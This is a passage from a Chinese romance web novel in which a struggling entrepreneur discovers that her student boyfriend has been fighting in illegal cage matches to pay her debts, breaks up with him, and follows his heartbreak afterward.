谈丹青不由心中纳闷。她都混成这样了,这些人还把她当角儿?这时又听人叫了一声“魏总”,谈丹青再看过去,魏繁星坐在红木太师椅上,带着一种惯常的、令人不适的松弛感,对她微微颔首,“丹青,好久不见。” 谈丹青心头猛地一沉,嘴角那点强撑的笑意瞬间僵住。 她苦笑,原来是在这儿等她。 饭桌上的人,不知是不是看了魏繁星的面子,对她还算客气。说话一通天南地北的胡扯,就是没问她现在发多大财。 但谈丹青还是不乐意久留,见今晚化不到缘,便饭吃到一半,拎包走人。 她前脚推门出去,魏繁星后脚就跟了过来。 谈丹青等着门童提车,烦躁地一下下按着打火机。 那一丁点儿火星在夜色里摇曳如烛。 她已经极少抽烟了。每次一夹烟尾,就想到绪东阳那拧着眉的神情。所以她随身带着打火机,都是为了给潜在合作伙伴拉近关系。 几次三番点不着,谈丹青也就作罢,终究没把烟掏出来。 “魏总有事?”谈丹青皮笑肉不笑地对跟在她身后的魏繁星说。 “我听说你那新摊子出了点事?”魏繁星说。他的确盼着谈丹青出事,好在一无所有的时候找他。可现在眼睁睁看着谈丹青真要山穷水尽,他又生出于心不忍的感觉。这种感觉,真是微妙。 “托您的福,不至于饿死。”谈丹青嘴角含笑,无所谓地耸了耸肩膀。 “丹青,你都跌这么大跟头了,怎么嘴还是这么硬?”魏繁星任何时候都表现得高高在上,他锁着眉,不认可地说:“你想另起炉灶,也该事先掂量掂量自己的斤两,何必这么莽撞。闹成现在这样子,你是占着什么便宜了?” 谈丹青说:“我是没占着便宜,但你们也吃了亏。看着你们吃亏,我心里就舒坦。” 魏繁星不同她置这孩子气,他语重心长地说:“当初我帮你牵线,就算安了点想和你露水情缘的心思,也绝没想过要害过你。吕力鼎威胁你,也绝非我授意。我甚至预先提醒过你,吕力鼎上头的人换了,你那时就该拿着吕力鼎的把柄去投诚,谁知你非要打明牌。” 魏繁星云淡风轻的话,谈丹青却越听越后背发凉。 什么叫拿着吕力鼎的把柄去投诚?吕力鼎不是魏繁星他自己的人么?难道对他们这些金字塔顶端的人来说,死道友不死贫道,为了利益,身边任何人都是可以出卖的吗?”魏繁星从谈丹青的眉眼间读到了不可思议地神情,他叹了口气,说:“你们这些人,总抱着莫名其妙的道德感。行,你不愿落井下石,也就罢了。但你跟吕力鼎谈崩的时候,就该来找我。只要你找我了,现在什么事都没有了。” 魏繁星朝她走近了一步,高大的身影沾着昂贵清冷的檀香,在夜色中弥散开来,“不过,现在也为时不晚。你这档事儿,解决起来也简单,不就是个‘钱’?有钱,你的资金压力就全没了。你那个小男朋友,拿不出这笔钱吧? “丹青,”不知不觉,他已离她这么近,从他身躯上投落下的影子,如黑雾将她笼罩,“你还没发现吗?你现在只有我了,只有我能帮你,只有我。” 谈丹青静静听他说着,等他说完,她却突然笑了一声。 魏繁星拧眉,质问:“你笑什么?” “没什么,”谈丹青摇了摇头,说:“只是有点好奇,你对你别的合作伙伴也是这种态度吗?如果今天我是个男的,你也要我先卖屁股给你,再拿钱吗?” “谈,丹,青。”魏繁星声音染上愠怒。他的权威地位,再次受到了地震般的挑战,“我现在是给你台阶。” “那我就不知好歹了,”谈丹青昂起头,望向饭店外晦暗不明的道路,那双眼睛,抵得上最亮的一双繁星。 她平静地说:“我已经吃过一次亏,想依赖别人,却被摆了一道。我如果现在又依赖你,难道我以后不会重蹈覆辙?你说我那小男朋友不好?我告诉你,他知道我出事了,才不会高高在上地羞辱我,而是会拼了命想办法帮我。在这件事上,你连他的一根手指头都比不了。” 魏繁星明显被谈丹青彻底激怒。他想不明白,谈丹青这女人,为什么就不能和其他女人一样,向他服服软,从他身上讨一点好处。让他享受享受得意。她总这么跟他针尖对麦麻。可也因为如此,她才对他一直有着致命的吸引力。 “好,谈丹青,”他冷声说:“那你好自为之。” * 回去的路上,谈丹青没有立刻回家,而是开着车,独自沿着江畔开了几圈。 车窗摇下,带着水腥气的江风猛烈地灌进来,吹乱了她额前的碎发,却吹不散心头那团乱麻。 隔岸的灯火,把江面染成一片破碎的金红,晃得人眼睛发酸。 她熄了火,从车上下来,任由傍晚微凉的江风包裹着身体。 “谈丹青啊谈丹青,你还真是……阴沟里翻船。”她对着江水自嘲,“混成这样,太栽了……” 上次她来这里,正值事业顶峰,又和绪东阳刚在一起。两人坐轮渡,骑自行车,在草地里打滚,手舞足蹈聊梦想和未来。 人生最畅快,不过如此。 心中无事,江风拂面。 她突然好想见一见绪东阳。 不是想要诉苦,也不是寻求解决方案。只是身体在极度疲惫和崩溃时,本能地渴求一个安全的、能让她暂时卸下所有盔甲的港湾。一个能让她埋进去,什么都不用想,只需要被紧紧抱住、汲取一点点温暖和力量的怀抱。 这个念头一冒出来,便如野火燎原,瞬间烧尽了所有顾虑。 她胡乱抹了把脸,坐直身体,手指颤抖着解锁手机屏幕,指纹识别失败了好几次。 她粗暴地用袖子擦干屏幕和手指,终于点开购票APP。 页面刷新得缓慢,她焦躁地反复下拉。最快一班飞北京的航班在三个小时后。她几乎没有犹豫,孤注一掷般的戳下支付。 付款成功的提示弹出时,她虚脱地出了一身薄汗。 去往机场的路程像一场梦游。 车窗外的霓虹流泻成模糊的光带。她紧握着方向盘,脑子里一片空白,又好像塞满了东西。一会儿是绪东阳眉骨渗血的伤口,一会儿是小白跪地痛哭的脸,一会儿又是一张张账单。 它们交织缠绕,撕扯着她的神经,最后只有那个“立刻见到他”的念头,像灯塔一样固执地亮着。 机场大厅,电子屏上跳动的航班信息和红色数字刺得她眼睛发胀。 谈丹青蜷缩在冰凉的不锈钢长椅上,拿出手机,划开屏幕,她和绪东阳的聊天记录安静地躺在那里。她反复看着那一行行字,像溺水者抓住浮木,仿佛能汲取到一丝微弱的热度。 飞机引擎的轰鸣声穿透机身,起飞时的推背感将她牢牢压在座椅上,她偏头望着舷窗外,地面璀璨的灯火急速缩小、远离,最终被厚重的云层吞没。 机舱内一片昏暗,只有少数阅读灯亮着微弱的光。在这万米高空的孤寂里,紧绷的神经似乎被强行按下了暂停键,只剩下无边无际的疲惫和一种近乎麻木的虚空。 她闭上眼睛,绪东阳的气息、怀抱的触感,却更加清晰地萦绕上来,成为这冰冷虚空里唯一真实的念想。 两个小时的航程,漫长得像一个世纪。 当她终于踏出首都机场,被北京清晨微凉的空气包裹时,一种强烈的不真实感攫住了她。 她抛下身后一地狼藉,只为奔赴一个短暂的、甚至可能是虚幻的慰藉。 打车到了宿舍楼下,清早的校园里很安静,只有路灯昏黄的光晕和夏虫的鸣叫,谈丹青又突然觉得自己这种行为冲动又幼稚,这种突然飞过来给惊喜的事,还是小孩儿做比较有意思吧?要不回去…… 她正在原地踟蹰,突然王越桓下楼来,恰好撞见了她,“丹青姐!你怎么来了?”他眼睛亮了亮,他小跑过来,笑容灿烂。 “对。”谈丹青不得不停下了打退堂鼓的脚步,说,“刚好有空,过来看看。” “你来找绪东阳的吧?他在俱乐部还没回,你上楼等呗,今天大家都放假回去了,宿舍没人。” “算了,我去俱乐部找他吧,”谈丹青觉得在绪东阳不在的时候去他宿舍不太好,便问:“他的俱乐部在哪儿?” 王越桓给她发了地址。 谈丹青一看,顿时愣住。她知道绪东阳是拳击社社长,下意识以为王越桓说的俱乐部就是指拳击社。 她问:“怎么地点是个酒吧?” “对,”王越桓以为谈丹青是知道这事儿,说:“挺火的酒吧。” “他在那里做什么?”谈丹青声音微微发颤。 从谈丹青苍白的脸色,王越桓意识到他说了不该说的话,他懊恼地拍了下自己的嘴:“哈……原来阳哥没跟你说啊,我这破嘴。” 但谈丹青绝不轻易将这件事放过去,“绪东阳他在做什么兼职?” “阳哥,阳哥他……”王越桓咽了口唾沫,知道瞒不过去,硬着头皮,磕磕绊绊道:“他最近在这家俱乐部打拳,好像是想赚点快钱……” 64 第64章 ◎你钱来得太慢,我等不了。◎ 谈丹青对北京不算熟,按王越桓发来的地址打车过去,在巷子口绕了好几圈,透过一扇铁迹斑斑的门缝听到了蹦迪的音乐声,这才找到入口。 这会儿天已经快要大亮。 推开沉重的门扉,瞬间一股混杂着浓烈汗味、廉价香水、血腥气和酒精发酵的浑浊热浪扑面而来。 “美女!第一次来啊?”有陌生男人过来对她吹口哨。 谈丹青抬手掐灭了他嘴角挂着的烟,“让开。” “好辣啊,北京妞都这么辣?” 她不做理会,继续往里走。 在人潮中急切地搜寻绪东阳的身影。 一名刚结束今天比赛的拳击手正和同伴聊天,一边说话,一边看也不看地往自己大腿上扎针。针头就这么扔在地上,而周围人对于这种行为习以为常。 谈丹青摸着黑走上曲折的台阶,终于看到了场地中央那个被粗大铁丝网围住的方形区域—— 八角笼。 “让一让……麻烦让一让……”她匆匆忙忙地挤进观众台最前排。 几名狂热拳击爱好者扯着嗓子对她说:“别挤了,你来太晚了啊,现在都比到最后一场了。” “现在是谁跟谁?”谈丹青探脑四处打听。 “Leo和一个越国佬。” 八角笼上方天花板,悬挂着两只巨大的装满现金的巨大玻璃球,一张张粉红色的钞票在玻璃球中飞速旋转。 每只玻璃球下方写着选手的名字。 她在奖金最丰厚的一只玻璃球下,找到了绪东阳的名字:Leo。 俱乐部每晚拳击手奖金叠加式递增,KO一名对手奖金池便多十万,绪东阳今晚一共要打四场,前三场全胜,奖金已经堆到了三十万。 “Leo这一场不会又要赢了吧?”谈丹青耳畔喧闹声嘈嘈杂杂。 “难说诶,最后这一场怕是有点悬啊,对面越南佬,要钱不要命的主。” “但是Leo也挺不要命的啊。” 哨声响起,谈丹青终于看到了绪东阳,他沉着冷静地步上八角笼。 他的身材高且壮,但和正儿八经的拳击运动员相比,肌肉线条偏修长,灵动而不笨拙。 对手是个穿着红色拳击短裤,皮肤黝黑,五大三粗的男人,咬着深蓝色塑料护牙套。 吹哨前,拳击双方被裁判推到一起额头贴着额头放狠话,那越南佬不知说了一句什么,厅内顿时掀起震耳欲聋的音浪。 “啊啊啊!打死他,打死他!” 在刚落的哨声里,绪东阳横身一记侧踢,“碰!”撞击声响亮清脆。 动作灵活迅猛,宛如闪电。 越南佬以双手手臂抵挡攻击,被震得猛退半步。他冲绪东阳愤怒地呲了呲牙,露出深蓝色的护牙套,然后一铁拳猛地抡了过来。 绪东阳往后退了半步,稳住身形。他的神色镇定自若,眼神专注。 他和这些专业拳击手不同,专业拳击手出拳靠的是机械式训练,而他不仅靠反应,还靠脑子。他能迅速思考如何出拳伤害性更大。 一记直拳,正打面门。 “Leo!” “Leo!Leo!” 台下是攒动的人头疯狂地喊着绪东阳的名字,一张张面孔在闪烁的彩灯下扭曲变形,挥舞着拳头,嘶喊着口号。 那声声疯狂的“Leo!”,听在谈丹青耳里,像是一群鬣狗兴奋的嚎叫,每一句都让她心口发紧,手脚冰凉。 她无法想象这一击击拳头落在绪东阳身上会是什么样的感觉。 很痛吗? 会有多痛? 越南佬被彻底激怒,连击三拳。 绪东阳双手护面,拳套贴着他的颧骨打了过去,眉骨上那道刚刚愈合的伤疤,立刻再次崩裂,渗出点点血丝。 那串飞出的血珠,几乎是烫进了谈丹青的眼睛里。 拳头迎面打过去,怎么会划出类似利器才能造成的细长伤口? 当越南佬第二次故技重施时,谈丹青大喊:“作弊!这个人的拳击手套里有刀片!” 但她的声音很快被欢呼声淹没。 她抬高声量:“没人看到吗?对面犯规了!怎么没有人吹哨?!他的拳套里有小刀!脱掉就能看到!” 她的大喊引来其他人的回望,一脸好笑地说:“美女,这是野拳,哪儿有什么裁判。” “什么意思?野拳什么意思?”谈丹青不管不顾地一把抓住了对方。 那人吓了一大跳,说:“野拳就是,只要不出人命就没事啊,不然你说为什么奖金这么高?” “砰!” 沉闷的击打声让谈丹青回过头,她看到绪东阳的头颅猛地向侧面一偏,身体踉跄着撞在冰冷的铁丝网上,发出“哐啷”一声巨响。 越南佬打得太脏,绪东阳又要防刀片,又要进攻,有些落了下风。 但他一把擒住对方的手腕,然后咔嚓一声——“啊啊啊……”越南佬被拳套里的刀割得满手都是血。 绪东阳死死缠抱住这个比他更壮硕、肌肉虬结的对手,在擂台的角落角力。 紧抿的唇线绷得像刀锋,额角的青筋因为用力而暴突。 透明汗水顺着他精悍的背脊线条滚落。 “Leo!Leo!Leo!” “这样都能反转!!!” “啊啊啊!ko!赢了!!!” 绪东阳有一颗拼了命也要赢的心。 所以,哪怕他一次又一次被打倒,他也会一次又一次重新站起来。咬着牙,用沾血的拳头,将地板砸穿。 “Leo!Leo!Leo!” “Leo!Leo!Leo!” “Leo!Leo!Leo!” “四连胜绝杀!!!” “这场打得太爽了!” “这才叫要钱不要命!” 周围是震耳欲聋的喧嚣、嘶吼、狂欢。 所有人都高呼Leo的名字。 绪东阳意气风发的站在台上,高高举起左手,宣告今晚最后的胜利。 在铺天盖地的欢呼声里,谈丹青张了张嘴。 她想喊一声绪东阳的名字,喉咙却像是被滚烫的砂石堵住,发不出半点声音。 视线逐渐变得模糊。 不是因为灯光太刺眼,不是因为汗水迷了眼。 滚烫的液体毫无预兆地从酸涩的眼眶里疯狂涌出,顺着她冰凉的脸颊汹涌而下。 她甚至没有意识到自己在哭。 泪水像断了线的珠子,无声地、汹涌地滑落,砸在她紧握成拳、指节发白的手背上。 她枯坐在人群最边缘的阴影里,双眼怎么也看不清台上的少年。 这个,总在她面前沉默内敛、有时又带着点执拗狠劲的少年。 这个,每次都用几乎将她揉碎的力道拥抱她、亲吻她的少年。 所有的碎片在这一声声拳拳到肉的打击声里,全部拼凑起来。 绪东阳给她的钱,不是找家里要的。他那么高傲,有自尊心,如何能容忍向自己一心要拜托的家庭低头?那些钱,是他在这里为她一拳一拳打出来的。 震惊、无法言喻的心痛和铺天盖地的愧疚,如同汹涌的潮水,瞬间将谈丹青彻底淹没。 她不知道要怎么做。 也不知道怎么面对。 她只能像没有来过这里一样,悄无声息地离开了观众席。 * “小绪,今天打得太棒了啊!”休息室里,俱乐部老板过来恭喜绪东阳。他是老费在北京的合伙人,大家都叫他飞哥。 “飞哥,转钱吧。”绪东阳微颔首,言简意赅。 “嗨,我还能少你么?”他们这一行,多少沾了点灰。很多钱见不得光,下场就转钱。 飞哥将钱给他打过去,随口问,“你周三还来打吗?” 绪东阳头也不抬,说:“我看眼课表。” 一听这话,飞哥几乎要笑倒在沙发上, “神他妈看课表,你还知道你是个学生啊?老费当时跟我说,你是T大的,我还以为他耍我呢。” “对外不要说我是T大的。”绪东阳说。 “那怎么说?” “说我是B大的吧。” 飞哥又笑倒,说:“上次有个做鸭的,也是这么干的。” 绪东阳拎包走人。 他打开手机看课表,意外看到王越桓给他发的消息:“阳哥,那啥,对不住了啊,今天丹青姐来看你,我在楼下碰到了她,把你在俱乐部兼职的事给说漏嘴了……” 再看这条消息的发送时间,早上五点,两个小时前的事了。 “草……”绪东阳暗骂了一声,飞快往宿舍赶。 他边跑边给谈丹青打电话。 电话很久才接通。 “在哪儿?”他语气着急。 谈丹青没立刻出声,他便又问了一遍:“你人在哪儿?” 谈丹青顿了半晌,说:“我在你宿舍。” “马上到。” 绪东阳几乎是一路狂奔回去,三步并作两步两步上楼,撞开门,说:“你来,怎么也不提前跟我说一声。” 谈丹青突然来见他,挺意外。 他知道谈丹青公司不好过,这会儿正焦头烂额,应该没功夫给他弄惊喜。 所以他猜她突然过来,多半是心里难受了。 心里难受,没事,他将肩膀借给她靠靠就是了。 谈丹青背对着他,站在书架前。晨光透过蒙着清灰的窗,洒在她身上。她穿了条黑裙子,乌发蓬松,在金色晨光里亭亭玉立。 “东西……有点乱。”绪东阳随手扯下乱搭在椅背上的T恤。男生宿舍就是这样,东西放的地方没个准数,乱糟糟的。 他揭开桌上的水壶盖看了一眼。 里面没水。 去卫生间接了水,然后放回电源上接通插头。 不一时,宿舍响起水咕噜噜沸腾的声音。 “你现在俱乐部做兼职?”她回头问。 绪东阳微愣,扯了扯嘴角,牵动了肋骨上的新伤。细微的刺痛让他吸了口冷气,那个死越南佬下手真黑。 他试图让语气轻松点,像谈论一件不值一提的小事,“王越桓跟你说了?” “嗯,别怪他,是我逼他跟我说。”谈丹青在他宿舍里缓缓踱着步,轻盈如云。她四处看着,原来大学宿舍就是这个样子,四个人,鸽子笼似的小地方,连转个身都错不开。 绪东阳等着水烧开。 他挺怕谈丹青多想,默了默,率先开口,说:“王越桓是这样的,嘴上没个把门的。俱乐部老板跟我是熟人,熟人场子,挺规矩的,出不了什么事。” 这时水烧开了。 绪东阳给谈丹青倒了一杯,“这是我用的杯子,干净的。” 热水冒着气,静静在两人之间升腾。 “过来给我看看你的脸。”谈丹青缓缓转过身。 绪东阳依言走过去,在椅子上坐下,顺从地仰起脸。 晨光毫无保留地照在他脸上,汗渍、淤青、眉骨那道细细的伤口,纤毫毕现。 谈丹青冰凉柔软的指尖轻轻触碰伤口边缘,触感细微得近乎虚幻。 “怎么这道口子,到现在都没好?”谈丹青问。 “快好了。”绪东阳说,“夏天好得慢。” 谈丹青回过身。 她做不到继续看绪东阳的脸。 再多看一眼,她就会掉下眼泪。 “这是什么?”她拾起他桌面上一份纸质文件。 绪东阳扫了一眼,回答:“交流计划的申请材料。” 谈丹青将申请材料翻了过来,第一页填得满满当当,到了第二页,却变成了一片空白,“为什么不填完?” “后面考虑不去了。” “为什么不去?”谈丹青问:“上次吃饭听你和大家聊,你很感兴趣。” “去的国家是英美,英美和大陆法系区别很大,感觉去了没什么用。”绪东阳对答如流。 谈丹青垂头继续看着那页纸。 如果不是因为她汗涔涔的手颤得像风中残烛,只会真以为她如她表现得这么平静。 她将申报材料攥皱了,低低轻笑了一声,说:“绪东阳,你今天跟我说了几句实话啊?” 绪东阳无声地蹙起眉,看着她,“什么?” “到底是真不想去了,还是去不了了?你的钱都拿去给你女朋友还债了,你自己还能拿什么去啊?” 绪东阳微顿,解释道:“和你没关系。这是我自己的打算。” “那你真会打算,打算得真好!”谈丹青声音由平静到颤抖,最后变成像被踩断了尾巴的猫。 “别人谈恋爱,要么两个人一起学习、一起进步,去更好更远的地方;要么找一个能直接带自己跨越阶级的,从此升官发财,平步青云。 “你呢?你倒好,谈个恋爱把自己谈成这样,你图什么啊?你到底图什么啊?” 绪东阳拧起眉,沉声说:“谈恋爱难道一定要图什么吗?那我图我愿意,不行?” 谈丹青嘴唇颤抖。 沉默。 “我们两个人,互相喜欢彼此,在一起开心,这样不就很好吗?” 绪东阳温声说着,握住了她搁在膝盖上发抖的手。 有一瞬间,谈丹青真的好想妥协。 就自私自利地把绪东阳拖着和自己一起陷入泥沼里好了。 反正他傻。 反正他愿意。 这时,她突然看到了绪东阳的手腕。 那里,松松地套着她那根细小的、黑色皮质发圈。 发圈下面,一圈异常清晰的红痕。 细细的,像被什么反复勒过、弹过。 “这是什么?”她双手紧紧抓住绪东阳的手掌,“我问你,这是什么?” 绪东阳第一次,在她想要握住他的时候,往回抽手。 “没什么。”他云淡风轻地说。 谈丹青不依不饶,倾身过去抓他的手, “给我看!” 绪东阳往后避让。 两个人几乎扭打在了一起。 “你给我看!” “给我看!”她几乎是跨坐在绪东阳身上,靠着那上下起伏的挺括带胸膛,紧紧握住了他的手掌。 她怎么也想不明白,为什么会是手腕这个地方发红? 即便因为打拳,红肿也应该集中在关节的部位。 这一圈红,明显是拉扯皮筋时被弹伤,可绪东阳为什么要反复弹自己的手腕? 墙壁上时钟在转。 清早的阳光由凉爽变得刺目。 隔壁宿舍陆续有学生上课,门轴转动,说说笑笑。 八点了。 是要上早课的时间。 电光火石一闪,谈丹青突然想到,绪东阳是几点打完拳的? 想到这一点,她便彻底想通了。 绪东阳如果晚上在俱乐部打拳,那么等他打完就已经是第二天的早上,他没空补觉,要立刻赶去学校上课。所以他在用拨动皮筋弹自己这种方式提神,让自己不至于在上课的时候昏睡。 想明白后,谈丹青用力甩开绪东阳的手,后退一步,仿佛被他指尖的温度烫伤。 背脊靠在冰凉的上下床铁架上,她声音仅仅只比失语能听清几分,“绪东阳,我们分手吧。” 闻言,绪东阳好像被猛抽了一鞭子,他深邃的眼睛几乎吊了起来,从牙齿缝里挤出音节,“谈丹青,你在说什么。” 他瞪着她,呼吸沉重,“我们再怎么吵,都没关系。但是你不能说分手。” “绪东阳,我现在的状况真的很难,是你做多少份兼职都不够的,你懂吗?”谈丹青深吸一口气,一字一顿地说:“你钱来得太慢。我等不了。” 【作者有话说】 哎…… 给大家发红包吧 65 第65章 ◎“分手了,我们分手了。”◎ 绪东阳不记得这晚谈丹青是怎么从他这里离开。他明明拼了命地抱她、搂她、强吻她。脸也不要了,尊严不要了,恨不得跪下来求她别走。牢牢钳着她腰的手,手背上落满了眼泪。 可他分明没哭,哭不出来,眼眶里的泪水早就被满腔的热血蒸干了。 “诶?屋里怎么这么暗啊?”王越桓放完假回宿舍,第一件事就是把窗帘拉开。 乍然照进来的阳光,让上铺躺着的人发出一声闷响。 王越桓吓得差点跳起来,“阳哥,你在宿舍啊?” “嗯。”绪东阳躺在床上,抬手盖住眼皮。 他其实并没睡,单纯在发呆。 放空大脑,漫无目的地等着时间过去。 万幸昨天宿舍没人,不然他也不知道怎么收场。 “你到底怎么了啊?我天……这啥?”王越桓抱着扫帚扫地,在垃圾桶里看到了几只空酒瓶。 “你不会一整天都没吃东西,只喝酒了吧?” 绪东阳起身,去卫生间洗漱。 牙膏挤在牙刷上,麻木地塞进嘴里。 “你到底怎么了?”王越桓倚着门框问他,“我回家的时候不是还好好的吗?” “没什么。”绪东阳拧开水龙头,用冷水洗脸。 “丹青姐不是,还来找你了吗?”王越桓追问。 “嗯。” 冰凉的水,一遍又一遍扑在他面颊上,口、鼻、双眼,浸满了水,像溺水一样。 眉骨上豁开的伤口遇水,尖锐的凉意钻入皮肉,炸开细密的疼。 “那然后呢?” 这句话,他甚至说不出口,鱼刺一样扎在他的咽喉里。好像一旦说出来,就是薛定谔盒子里的猫,真死了。他们结束了。 “分手了。” “啊?什么?”王越桓以为自己听错了,“你刚说啥呢?” “分手了,”绪东阳像是用这种方式给自己脱敏,再次重复,“我们分手了。” 原来只是听着自己这么说,都会这么痛。 “啊???”王越桓很是意外:“怎么就分手了呢?我看丹青姐那天,一大早就来了,天刚亮,五点多,估计是坐了一晚上飞机赶过来,然后一下飞机就来找你。怎么见了面,就分手了呢?” 王越桓问他,他倒是也想这么问问谈丹青。 为什么? 究竟为什么? 他们明明这么好。 到底为什么要跟他分手? 绪东阳拾掇好垃圾篓里的黑色塑料袋,在门口换鞋。 “阳哥,你去哪儿呢?”王越桓问。 “去上课。” “不是,你都这样了,还去上课啊?我帮你请假吧?” “没事。”他把桌上的书,一股脑全塞进背包里。眼角余光瞥见那张写到一半的申请表。 纸已经褶皱了,上面还有水痕。 他是瞒了谈丹青挺多事,但放弃交流计划,谈丹青还真只是部分原因。他研究过,国内和英美两边法系不同,过去交流学习意义不大,顶多算是旅旅游,见见世面。 现在这些也已经不重要了。 他将申请表揉做一团,扔进垃圾桶。 抬手时,又看到了手腕上的小皮筋儿。 当时他抢谈丹青皮筋儿的时候,他们多好啊。 谈丹青一直笑。 她总是说,这是小孩儿谈恋爱才做的事,幼稚。其实她才最喜欢做这种幼稚的事。这应该是一种代偿心理,她自己都不一定知道。 他想将皮筋儿掰了。 可是握上手腕的时候,鼻头却又一阵发酸。 皮筋儿断了,他们之间的这段回忆,就彻底没有可维系的东西。 他眼下实在看不了任何和谈丹青相关的东西。 多看一眼,心脏都会爆炸。 最后,他将皮筋*放进抽屉里。 “我陪你一起去吧,”王越桓始终不放心他,急吼吼地赶着换鞋,要护送他去教室。 大概他现在状态实在太差,看起来一出门就会去投湖。 “不用。”绪东阳说:“走了。” 他受不了在室友面前,表现得像个失恋了就什么也干不了的废物。 不就是失恋吗? 多大事儿? 天又没塌下来。 一出宿舍,眼睛就被光线照得收缩发疼。 这是他颓了两天后,第一次直面太阳。 脚踩不到地,每一步都在漂浮。 他可能是吸血鬼,是僵尸,身体所有被太阳照耀的地方,都在疼痛,脱皮。每一口呼吸,都戳着他的肺叶,拉扯着受伤的肋骨。 去教室的路上,飞哥又问了他一次:【周三来不?】 绪东阳顿了半晌,回复:【不来了。】 他接这活儿,本来就是为了给谈丹青赚钱。 她不要。 一切都没意义了。 飞哥:【行。】 Leo:【谢谢哥,对不住了。】 他不去之后,飞哥又得另找人替他。 飞哥:【没事儿啊!你当时要来,我本来就不怎么同意的。来我这儿的,都是走投无路的。你一T大生,前途无量,何必?】 Leo:【谢谢飞哥。】 在教室坐下,状态还是很差。 开窗户,会让他想到谈丹青。 空座,会让他想到谈丹青。 他深吸口气,强迫自己全神贯注听教授讲课。 他控制不了脑中杂乱的思绪,于是干脆拿出笔,逐字逐句将教授讲的要点记录下来。 “公司法……” “公司法人制度否认制度……” 听得太用力,知识反而无法进入大脑。 耳膜里嗡嗡一阵响。 他到底为什么会坐在这里? 他到底在干嘛? 哦,想起来了。 当初填报志愿,那么多专业,他选择法律,也是为了谈丹青。 怎么这么好笑呢? 绪东阳趴在桌子上,笑了起来。 然后缓缓佝偻起腰背,保护痛到痉挛的胃部。 人在极端痛苦的时候,真的会很想笑。 * 七月,徐丽带着绪北远从加拿大回来,绪东阳终于回到自己家。 一进门,陌生的气息扑面而来。徐丽殷切地给他拿拖鞋,说:“东阳来了,快进来呀。” 徐丽给他端茶递水,嘘寒问暖,这份生疏的热情,更让他显得像是个外人。 一家三口难得一起吃了一顿饭。餐桌上,绪北远脸色带着点病弱的苍白,有点恹恹,对眼前精美的食物兴致不高。 他身体太差,吃什么都吃不香。 徐丽说起以前的事,说:“北远,你看你哥哥,他高三的时候,我都没管过他一天,结果你哥哥靠自己还考上了T大。是不是要向你哥哥学习?” “嘁……”绪北远恹恹地看着盘子里的肉片。 和绪北远说完,徐丽又看向绪东阳,用恰到好处的语气,疏离地对绪东阳说:“你在T大怎么样?大三了吧?后面怎么打算?” “回江城吧。”绪东阳说。 “江城?江城也挺好的。”徐丽没有继续追问,另起话头,说:“你们兄弟俩,有空多聊聊,有什么学习经验啊,都多教教你弟弟。” 吃完饭,绪东阳走到客厅的落地窗前,背对着餐厅里那片“母慈子孝”的温馨灯火,望向窗外沉沉的夜色。 玻璃上映出他模糊而疏离的侧影,与身后那个热闹的小世界格格不入。 这里的一切,声音、味道、人,都隔着一层看不见的玻璃。 他清晰地意识到,他唯一拥有过的,真正的“家”,能让他放松、自在、被看见的地方—— 是高三那年谈丹青的小房子。 徐丽借着将脏盘子送进厨房的机会,悄声对绪东阳说:“东阳啊,有空跟你弟弟聊聊吧……他现在也要上高中了,但是成绩……一塌糊涂,怎么也学不进去。加拿大学校本来就水,这样下去怎么得了?东阳,你成绩好,你劝劝他。” 晚上,绪东阳推开绪北远的房门。 绪北远正在打游戏,扭头看他。眼神充满了崇拜和向往,又有一点点的畏惧。 从小,绪北远就觉得他这个哥哥,对他很冷漠,但是他这个哥哥却有他这辈子都无法拥有的强壮的体魄。 这种复杂的情绪,最后变成了隐藏起来的嫉妒。 绪东阳说:“妈让我劝你好好学。” “哦,你打算怎么劝?”绪北远拧着眉嘴巴翘得能挂油壶,说,“我就不学呢?” 绪东阳说:“爱学学,不学拉倒,谁管你。” 绪北远不可思议地望着他,半张着嘴。 从小到大,他就没受过这样的委屈,一时反应不过来,这会儿该哭了。 绪北远手里还抱着他的游戏机。 绪东阳就看不惯弟弟玩得这么爽,抽过去,咔嚓掰成两半。 他一身轻松地下楼,在玄关换鞋。 徐丽追过来,问:“东阳,怎么样?跟你弟弟聊过了?” 绪东阳背对着她,一脚踩进运动鞋里,说:“其实我高三一整年都没回家,住在我朋友家里。” “嗯?”徐丽满脸疑惑。 “学业最重的时候,我跑去打黑拳,不为了别的,就因为拳头落在身上的时候,会觉得有存在的感觉。” “你到底在说什么呢?”徐丽看着绪东阳好像看着一个陌生人。不过她似乎真的极少好好看一看绪东阳。 绪东阳懂事、聪明、身体好,从来不用她操心,于是她难免将重心放在更消耗她的绪北远身上。可他们再怎么说也是母子,总不能因为这么点小事就绝情到从此形同陌路。 “哇啊啊……”楼上突然传来绪北远嚎啕大哭的声音。 “北远,你哭什么啊?”徐丽忙上楼去。 绪东阳笑了笑,将这个家的门钥匙扔进了玄关口白瓷托盘上。 他或许没有地方可去,但他再也不会回到这里。 回归单身狗,假期不再需要蹲守便宜的飞机票和高铁票,绪东阳的时间突然变得很多很多。 他开始和别的同学一样出去玩,参加各种活动,徒步,登山,郊游。他第一次离开学校,去距离学校仅一百米的博物馆。 半价学生票进去参观,他看到了最令人叹为观止的艺术品。 可从那里出来的时候,一群年轻人骑着自行车嬉笑着从胡同小巷里经过。 那一刻,他突然什么都忘了,只记得那天他和谈丹青两人在这儿玩。 那时满树都是雪白的梨花,今天梨花全凋谢了,姹紫嫣红的百日草、月季花和茉莉在枝头盛放。 他仿佛又看到谈丹青在小吃摊手舞足蹈地学北京腔: “胸柿炒鸡蛋。” “喝了豆汁儿,就不许亲我了。” “好啦好啦,让你亲。” “你亲……” 这些声音,最后全变成了一道回音: “绪东阳,我们分手吧。” “分手吧。” “分手……” 有谈丹青,没谈丹青。 日子就这么一天天过。 只是有时候,他泡在图书馆里,看法条、案例,看得头晕脑胀,恨不得将书全烧了。然后他从书页里抬起头,往外看。 窗外一片黑,什么都没有。 * 从北京回来后,谈丹青像什么也没发生,继续操办她的新公司。 她没空散心,没钱飞欧洲喂鸽子。她能做的,只有赚钱。赚钱窟窿就补上了,赚钱就不用背债了,赚钱就……就什么都好起来了。 “丹青,你那边还有新设计图吗?”郑芳问她,“如果有的话,我现在就发给工厂吧。不然等新公司上线了再打样,怕来不及了。” “没有了。”谈丹青回答。 “啊?哦……”郑芳有些意外,但她知道谈丹青压力大,也没多问,说:“没有也没事儿,现在存货其实也够……” “嗯。” 